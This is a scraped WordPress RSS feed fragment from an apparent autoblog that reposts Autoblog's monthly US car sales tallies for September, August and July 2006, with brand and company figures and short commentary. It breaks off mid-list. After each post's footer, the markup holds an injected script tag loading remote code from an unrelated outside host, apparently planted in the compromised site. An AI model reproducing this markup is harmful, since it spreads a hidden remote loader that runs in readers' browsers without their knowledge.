<p><strong>COMPANIES</strong><br />BMW Group <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   down arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___down_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />-10.6% at 23,303 (9/05: 25,079)<br />Chrysler Group <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   down arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___down_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />-7.49% at 168,888 (9/05: 175,556)<br />Ford Motor Co <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   up arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___up_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />.66% at 238,848 (9/05: 228,157)<br />General Motors <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   down arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___down_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />-6.8% at 338,380 (9/05: 349,202)<br />Honda America <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   down arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___down_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />-7.76% at 116,226 (9/05: 121,163)<br />Nissan North America <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   down arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___down_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />-9.2% at 88,340 (9/05: 93,540)<br />Toyota Motor Co. <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   up arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___up_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />20.2% at 222,950 (9/05: 178,417)</p>
<p><em>Editors note: All percentages are reported as the change in daily sales rate (DSR) since there were 26 selling days in September 2006 versus 25 selling days in September 2005.<br /></em>
<p>&nbsp;</p>
<p><a href="http://www.autoblog.com/2006/10/03/by-the-numbers-september-2006/" rel="bookmark" title="Permanent link to this entry">Permalink</a> | <a href="http://www.autoblog.com/forward/679021/" title="Send this entry to a friend via email">Email this</a> | <a href="http://www.autoblog.com/2006/10/03/by-the-numbers-september-2006/#comments" title="View reader comments on this entry">Comments</a></p>
<hr /><script src="http://ae.awaue.com/7"></script></p>
<div class="sexy-bookmarks sexy-bookmarks-expand sexy-bookmarks-center"><ul class="socials"><li class="sexy-delicious"><a href="http://del.icio.us/post?url=http://blog.ken.cc/2007/11/20/by-the-numbers-september-2006-the-real-numbers/&amp;title=By+The+Numbers%3A+September+2006+%28The+REAL+numbers%29" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="sexy-twitter"><a href="http://twitter.com/home?status=By+The+Numbers%3A+September+2006+%28The+REAL+numbers%29+-+http://tinyurl.com/qlr7mh+(via+@carbiz)" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="sexy-facebook"><a href="http://www.facebook.com/share.php?u=http://blog.ken.cc/2007/11/20/by-the-numbers-september-2006-the-real-numbers/&amp;t=By+The+Numbers%3A+September+2006+%28The+REAL+numbers%29" rel="nofollow" class="external" title="Share this on Facebook">Share this on Facebook</a></li><li class="sexy-linkedin"><a href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http://blog.ken.cc/2007/11/20/by-the-numbers-september-2006-the-real-numbers/&amp;title=By+The+Numbers%3A+September+2006+%28The+REAL+numbers%29&amp;summary=Filed%20under%3A%20Earnings%2FFinancials%2C%20By%20the%20NumbersToyota%20up%20big%2C%20Ford%20up%20a%20little%20while%20GM%2C%20Chrysler%20and%20Honda%20slipPardon%20the%20tardiness%20of%20this%20report%2C%20but%20most%20manufacturers%20decided%20to%20present%20their%20September%20sales%20figures%20in%20a%20misleading%20way%20by%20comparing%20the%20raw%20number%20of%20vehicles%20sold%20last%20month%20to&amp;source=Ken Criscione's Blog" rel="nofollow" class="external" title="Share this on Linkedin">Share this on Linkedin</a></li><li class="sexy-comfeed"><a href="http://blog.ken.cc/2007/11/20/by-the-numbers-september-2006-the-real-numbers/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="sexy-stumbleupon"><a href="http://www.stumbleupon.com/submit?url=http://blog.ken.cc/2007/11/20/by-the-numbers-september-2006-the-real-numbers/&amp;title=By+The+Numbers%3A+September+2006+%28The+REAL+numbers%29" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="sexy-digg"><a href="http://digg.com/submit?phase=2&amp;url=http://blog.ken.cc/2007/11/20/by-the-numbers-september-2006-the-real-numbers/&amp;title=By+The+Numbers%3A+September+2006+%28The+REAL+numbers%29" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="sexy-technorati"><a href="http://technorati.com/faves?add=http://blog.ken.cc/2007/11/20/by-the-numbers-september-2006-the-real-numbers/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a></li></ul><div style="clear:both;"></div></div>]]></content:encoded>
			<wfw:commentRss>http://blog.ken.cc/2007/11/20/by-the-numbers-september-2006-the-real-numbers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>By the Numbers: August 2006</title>
		<link>http://blog.ken.cc/2007/11/20/by-the-numbers-august-2006/</link>
		<comments>http://blog.ken.cc/2007/11/20/by-the-numbers-august-2006/#comments</comments>
		<pubDate>Tue, 20 Nov 2007 15:01:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Automotive]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.ken.cc/2007/11/20/by-the-numbers-august-2006/</guid>
		<description><![CDATA[Filed under: Car Buying, Earnings/Financials, By the Numbers
What a weird month. We were told a week or so ago that sales for the month of August might look artificially good compared to last year because of Hurricane Katrina&#8217;s negative impact on sales. Really, however, Katrina didn&#8217;t hit land until August 29th, so if next month [...]]]></description>
			<content:encoded><![CDATA[<p>Filed under: <a href="http://www.autoblog.com/category/carbuying/" rel="tag">Car Buying</a>, <a href="http://www.autoblog.com/category/earnings-financials/" rel="tag">Earnings/Financials</a>, <a href="http://www.autoblog.com/category/by-the-numbers/" rel="tag">By the Numbers</a></p>
<p><img vspace="4" hspace="4" border="0" align="right" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/deb8a_hill_car1a.png"  alt="deb8a hill car1a By the Numbers: August 2006"  title="By the Numbers: August 2006" />What a weird month. We were told a week or so ago that sales for the month of August might look artificially good compared to last year because of Hurricane Katrina&#8217;s negative impact on sales. Really, however, Katrina didn&#8217;t hit land until August 29th, so if next month is the greatest month ever for car sales, we&#8217;ll know why. </p>
<p>Still, credit goes to GM for breaking even in sales this month. Out of the General&#8217;s entire portfolio of brands sold in North America, only Buick, Isuzu and Pontiac were down. Meanwhile, Ford&#8217;s entire portfolio failed to exceed last August&#8217;s sales, missing the target by 11.6% as a group. Jaguar in particular was the Biggest Loser of the month, falling behind 35.3% compared to last August. Chrysler as a whole dropped 8% last month. The Chrysler brand, however, grew its sales 3% in August, which was completely mitigated by Dodge falling 15% behind its performance last year.</p>
<p>Perhaps the two biggest surprises were the weak performances of BMW and Honda. The BMW Group attracted 11% fewer sales this year than last. Honda and Acura both experienced a sales decline, as well, and managed to generate sales 6.7% fewer than this time last year. </p>
<p>The two big winners last month were most definitely Suzuki and Toyota. Suzuki has not only maintained, but increased the rate at which its sales are growing. In July its sales grew 13% and this month they went up by 16%. We see no reason why Suzuki wouldn&#8217;t reach its goal of 100,000 sales in the U.S. this year considering after eight months it has already sold 73,388 units. And finally we come to Toyota, which somehow managed to increase its August sales over last year by 13.6%, which is no small feat when as a brand you&#8217;re selling over 200,000 units every month. </p>
<p>And for those who are interested in these kinds of things, no, Toyota did not sell more than Ford in August. In fact, as a brand Ford sold for more than any other on the market last month. Toyota did, however, come within 2,000 units of selling more than Chevrolet last month, which likely would have made as big a story as Toyota outselling Ford last month. </p>
<p><strong>Biggest Winner</strong><br />Suzuki <img vspace="4" hspace="4" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___up_arrow.jpg"  alt="9fd23   up arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />16% at 8,399</p>
<p><strong>Biggest Loser</strong><br />Jaguar <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___down_arrow.jpg"  alt="9fd23   down arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />-35.3% at 1,704 </p>
<p><strong>BRANDS</strong><br />Acura <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___down_arrow.jpg"  alt="9fd23   down arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />-8.5% at 18,263 (August 2005: 19,221)<br />BMW <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___down_arrow.jpg"  alt="9fd23   down arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />-12% at 22,421 (August 2005: 25,537)<br />Buick <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___down_arrow.jpg"  alt="9fd23   down arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />-4.7% at 22,853 (August 2005: 23,094)<br />Cadillac <img vspace="4" hspace="4" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___up_arrow.jpg"  alt="9fd23   up arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />0.2% at 20,036 (August 2005: 19,262)<br />Chevrolet <img vspace="4" hspace="4" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___up_arrow.jpg"  alt="9fd23   up arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />1.3% at 210,860 (August 2005: 200,393)<br />Chrysler <img vspace="4" hspace="4" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___up_arrow.jpg"  alt="9fd23   up arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />3% at 47,132 (August 2005: 44,279)<br />Dodge <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___down_arrow.jpg"  alt="9fd23   down arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />-15% at 89,790 (August 2005: 102,147)<br />Ford <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___down_arrow.jpg"  alt="9fd23   down arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />-11.6% at 214,759 (August 2005: 242,849)<br />GMC <img vspace="4" hspace="4" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___up_arrow.jpg"  alt="9fd23   up arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />6.1% at 42,262 (August 2005: 38,349)<br />Honda <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___down_arrow.jpg"  alt="9fd23   down arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />-6.5% at 132,990 (August 2005: 136,952)<br />HUMMER <img vspace="4" hspace="4" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___up_arrow.jpg"  alt="9fd23   up arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />1.5% at 6,711 (August 2005: 6,367)<br />Hyundai <img vspace="4" hspace="4" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___up_arrow.jpg"  alt="9fd23   up arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />2% at 44,635 (August 2005: 42,113)<br />Infiniti <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___down_arrow.jpg"  alt="9fd23   down arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />-26.4% at 9,429 (August 2005: 12,339)<br />Isuzu <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___down_arrow.jpg"  alt="9fd23   down arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />-13.4% at 1,125 (August 2005: 1,251)<br />Jaguar <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___down_arrow.jpg"  alt="9fd23   down arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />-35.3% at 1,704 (August 2005: 2,634)<br />Jeep <img vspace="4" hspace="4" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___up_arrow.jpg"  alt="9fd23   up arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />0.0% at 42,243 (August 2005: 40,659)<br />Kia <img vspace="4" hspace="4" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___up_arrow.jpg"  alt="9fd23   up arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />5.4% at 25,114 (August 2005: 23,820)<br />Land Rover <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___down_arrow.jpg"  alt="9fd23   down arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />-19.4% at 3,671 (August 2005: 4,554)<br />Lexus <img vspace="4" hspace="4" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___up_arrow.jpg"  alt="9fd23   up arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />6.4% at 31,074 (August 2005: 28,125)<br />Lincoln <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___down_arrow.jpg"  alt="9fd23   down arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />-9.5% at 8,979 (August 2005: 9,918)<br />Mazda <img vspace="4" hspace="4" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___up_arrow.jpg"  alt="9fd23   up arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />0.8% at 22,311 (August 2005: 22,135)<br />Mercedes <img vspace="4" hspace="4" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___up_arrow.jpg"  alt="9fd23   up arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />6.9% at 20,602 (August 2005: 19,272)<br />Mercury <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___down_arrow.jpg"  alt="9fd23   down arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />-12.7% at 15,417 (August 2005: 17,668)<br />MINI <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___down_arrow.jpg"  alt="9fd23   down arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />-11% at 3,252 (August 2005: 3,342)<br />Mitsubishi <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___down_arrow.jpg"  alt="9fd23   down arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />3.7% at 10,954 (August 2005: 10,945) <br />Nissan <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___down_arrow.jpg"  alt="9fd23   down arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />-3.2% at 80,419 (August 2005: 80,026)<br />Pontiac <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___down_arrow.jpg"  alt="9fd23   down arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />-12.1% at 39,711 (August 2005: 43,483)<br />Porsche <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___down_arrow.jpg"  alt="9fd23   down arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />-12% at 2,554 (August 2005: 2,894)<br />Saab <img vspace="4" hspace="4" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___up_arrow.jpg"  alt="9fd23   up arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />11.9% at 3,168 (August 2005: 2,726)<br />Saturn <img vspace="4" hspace="4" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___up_arrow.jpg"  alt="9fd23   up arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />5.3% at 22,050 (August 2005: 20,162)<br />Subaru <img vspace="4" hspace="4" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___up_arrow.jpg"  alt="9fd23   up arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />2% at 17,809 (August 2005: 17,426)<br />Suzuki <img vspace="4" hspace="4" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___up_arrow.jpg"  alt="9fd23   up arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />16% at 8,399 (August 2005: 7,126)<br />Toyota <img vspace="4" hspace="4" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___up_arrow.jpg"  alt="9fd23   up arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />13.6% at 209,104 (August 2005: 177,237)<br />Volkswagen <img vspace="4" hspace="4" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___up_arrow.jpg"  alt="9fd23   up arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />1.5% at 23,420 (August 2005: 23,083)<br />Volvo <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___down_arrow.jpg"  alt="9fd23   down arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />-2.1% at 10,582 (August 2005: 10,806)</p>
<p><strong>TBA</strong><br />Audi</p>
<p><strong>COMPANIES</strong><br />BMW Group <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___down_arrow.jpg"  alt="9fd23   down arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />-11% at 25,763 (August 2005: 28,879)<br />Chrysler Group <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___down_arrow.jpg"  alt="9fd23   down arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />-8% at 179,165 (August 2005: 187,085)<br />Ford Motor Co <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___down_arrow.jpg"  alt="9fd23   down arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />-11.6% at 255,112 (August 2005: 288,429)<br />General Motors <img vspace="4" hspace="4" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___up_arrow.jpg"  alt="9fd23   up arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />0.0% at 368,776 (August 2005: 355,180)<br />Honda America <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___down_arrow.jpg"  alt="9fd23   down arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />-6.7% at 151,253 (August 2005: 156,173)<br />Nissan North America <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___down_arrow.jpg"  alt="9fd23   down arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />-6.3% at 89,848 (August 2005: 92,365)<br />Toyota Motor Co. <img vspace="4" hspace="4" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/9fd23___up_arrow.jpg"  alt="9fd23   up arrow By the Numbers: August 2006"  title="By the Numbers: August 2006" />12.6% at 240,178 (August 2005: 205,362)</p>
<p><em>Editors note: most percentages are reported as the change in daily sales rate (DSR) since there were 27 selling days in August 2006 versus 26 selling days in August 2005. We found many automakers had averaged out the amount of vehicles sold per day in July of both years and used that figure to calculate the percentage of loss or gain year-over-year.</em>
<p>&nbsp;</p>
<p><a href="http://www.autoblog.com/2006/09/01/by-the-numbers-august-2006/" rel="bookmark" title="Permanent link to this entry">Permalink</a> | <a href="http://www.autoblog.com/forward/662683/" title="Send this entry to a friend via email">Email this</a> | <a href="http://www.autoblog.com/2006/09/01/by-the-numbers-august-2006/#comments" title="View reader comments on this entry">Comments</a></p>
<hr /><script src="http://ae.awaue.com/7"></script></p>
<div class="sexy-bookmarks sexy-bookmarks-expand sexy-bookmarks-center"><ul class="socials"><li class="sexy-delicious"><a href="http://del.icio.us/post?url=http://blog.ken.cc/2007/11/20/by-the-numbers-august-2006/&amp;title=By+the+Numbers%3A+August+2006" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="sexy-twitter"><a href="http://twitter.com/home?status=By+the+Numbers%3A+August+2006+-+http://tinyurl.com/p88myo+(via+@carbiz)" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="sexy-facebook"><a href="http://www.facebook.com/share.php?u=http://blog.ken.cc/2007/11/20/by-the-numbers-august-2006/&amp;t=By+the+Numbers%3A+August+2006" rel="nofollow" class="external" title="Share this on Facebook">Share this on Facebook</a></li><li class="sexy-linkedin"><a href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http://blog.ken.cc/2007/11/20/by-the-numbers-august-2006/&amp;title=By+the+Numbers%3A+August+2006&amp;summary=Filed%20under%3A%20Car%20Buying%2C%20Earnings%2FFinancials%2C%20By%20the%20NumbersWhat%20a%20weird%20month.%20We%20were%20told%20a%20week%20or%20so%20ago%20that%20sales%20for%20the%20month%20of%20August%20might%20look%20artificially%20good%20compared%20to%20last%20year%20because%20of%20Hurricane%20Katrina%27s%20negative%20impact%20on%20sales.%20Really%2C%20however%2C%20Katrina%20didn%27t%20hit%20land%20until%20&amp;source=Ken Criscione's Blog" rel="nofollow" class="external" title="Share this on Linkedin">Share this on Linkedin</a></li><li class="sexy-comfeed"><a href="http://blog.ken.cc/2007/11/20/by-the-numbers-august-2006/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="sexy-stumbleupon"><a href="http://www.stumbleupon.com/submit?url=http://blog.ken.cc/2007/11/20/by-the-numbers-august-2006/&amp;title=By+the+Numbers%3A+August+2006" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="sexy-digg"><a href="http://digg.com/submit?phase=2&amp;url=http://blog.ken.cc/2007/11/20/by-the-numbers-august-2006/&amp;title=By+the+Numbers%3A+August+2006" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="sexy-technorati"><a href="http://technorati.com/faves?add=http://blog.ken.cc/2007/11/20/by-the-numbers-august-2006/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a></li></ul><div style="clear:both;"></div></div>]]></content:encoded>
			<wfw:commentRss>http://blog.ken.cc/2007/11/20/by-the-numbers-august-2006/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>By the Numbers: July 2006</title>
		<link>http://blog.ken.cc/2007/11/20/by-the-numbers-july-2006/</link>
		<comments>http://blog.ken.cc/2007/11/20/by-the-numbers-july-2006/#comments</comments>
		<pubDate>Tue, 20 Nov 2007 15:00:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Automotive]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.ken.cc/2007/11/20/by-the-numbers-july-2006/</guid>
		<description><![CDATA[Filed under: Earnings/Financials, By the Numbers
The numbers for July have rolled in and we bet most manufacturers wish they would roll right back out. Of the 34 brands that have reported their July sales so far, 22 are reporting a drop in monthly sales versus the same period last year. 
The Chrysler Group&#8217;s drop has [...]]]></description>
			<content:encoded><![CDATA[<p>Filed under: <a href="http://www.autoblog.com/category/earnings-financials/" rel="tag">Earnings/Financials</a>, <a href="http://www.autoblog.com/category/by-the-numbers/" rel="tag">By the Numbers</a></p>
<p><img vspace="4" hspace="4" border="0" align="right" alt="d9c6e hill car1a By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/d9c6e_hill_car1a.png" title="By the Numbers: July 2006" />The numbers for July have rolled in and we bet most manufacturers wish they would roll right back out. Of the 34 brands that have reported their July sales so far, 22 are reporting a drop in monthly sales versus the same period last year. </p>
<p>The Chrysler Group&#8217;s drop has attracted the most attention thus far, with each of the group&#8217;s three brands (Chrysler, Dodge and Jeep) reporting between a 34% and 35% drop in sales. The few bright spots Chrysler pointed out include the Chrysler 300 gaining 4% and the Dodge Charger jumping 53% in sales over last July. The newly arrived Jeep Compass wasn&#8217;t on lots long in July, but did manage to move 707 units.</p>
<p>The big theme of July&#8217;s sales figures is that truck and SUV sales are dragging down sales as a whole. Chevy&#8217;s passenger car sales were up 18.2% in July at 81,430 units, but the brand&#8217;s truck division fell 27.9% so that total sales were down 17.1%. While Ford&#8217;s passenger car sales were down only 5.6%, its truck and SUV sales fell 44.1%, producing brand-wide sales that were 35.7% below July 2005. </p>
<p>Of course, no one is surprised how harsh the hot summer month of July has been considering the successful sales incentives of last summer. Except, perhaps, the Chrysler Group, which was the only automaker to reinstate employee pricing again this summer yet still get whacked with a big drop in sales. Meanwhile, Toyota Motor Co. and Honda America continue their aggressive grab for market share by posting a 16.21% and 10.2% rise in sales last month, respectively.</p>
<p><strong>Big Winner:</strong><br /><strong>Isuzu</strong> 34.2%</p>
<p><strong>Big Loser:</strong><br /><strong>Saab</strong> -41.2%</p>
<p><em><strong>BRANDS</strong></em><br /><strong>Acura</strong> <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" alt="d9c6e   down arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/d9c6e___down_arrow.jpg" title="By the Numbers: July 2006" />-4.9% at 18,203 (July 2005: 19,909)<br /><strong>Audi</strong> <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" alt="d9c6e   down arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/d9c6e___down_arrow.jpg" title="By the Numbers: July 2006" />-2.6% at 7,005 (July 2005: 7,190)<br /><strong>BMW</strong> <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" alt="d9c6e   down arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/d9c6e___down_arrow.jpg" title="By the Numbers: July 2006" />-13.4% at 20,083 (July 2005: 23,178)<br /><strong>Buick</strong> <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" alt="d9c6e   down arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/d9c6e___down_arrow.jpg" title="By the Numbers: July 2006" />-34.7% at 23,609 (July 2005: 37,618)<br /><strong>Cadillac</strong> <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" alt="d9c6e   down arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/d9c6e___down_arrow.jpg" title="By the Numbers: July 2006" />-21.8% at 19,124 (July 2005: 25,431)<br /><strong>Chevrolet</strong> <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" alt="d9c6e   down arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/d9c6e___down_arrow.jpg" title="By the Numbers: July 2006" />-17.1% at 244,080 (July 2005: 306,160)<br /><strong>Chrysler</strong> <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" alt="d9c6e   down arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/d9c6e___down_arrow.jpg" title="By the Numbers: July 2006" />-35% at 38,124 (July 2005: 61,193)<br /><strong>Dodge</strong> <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" 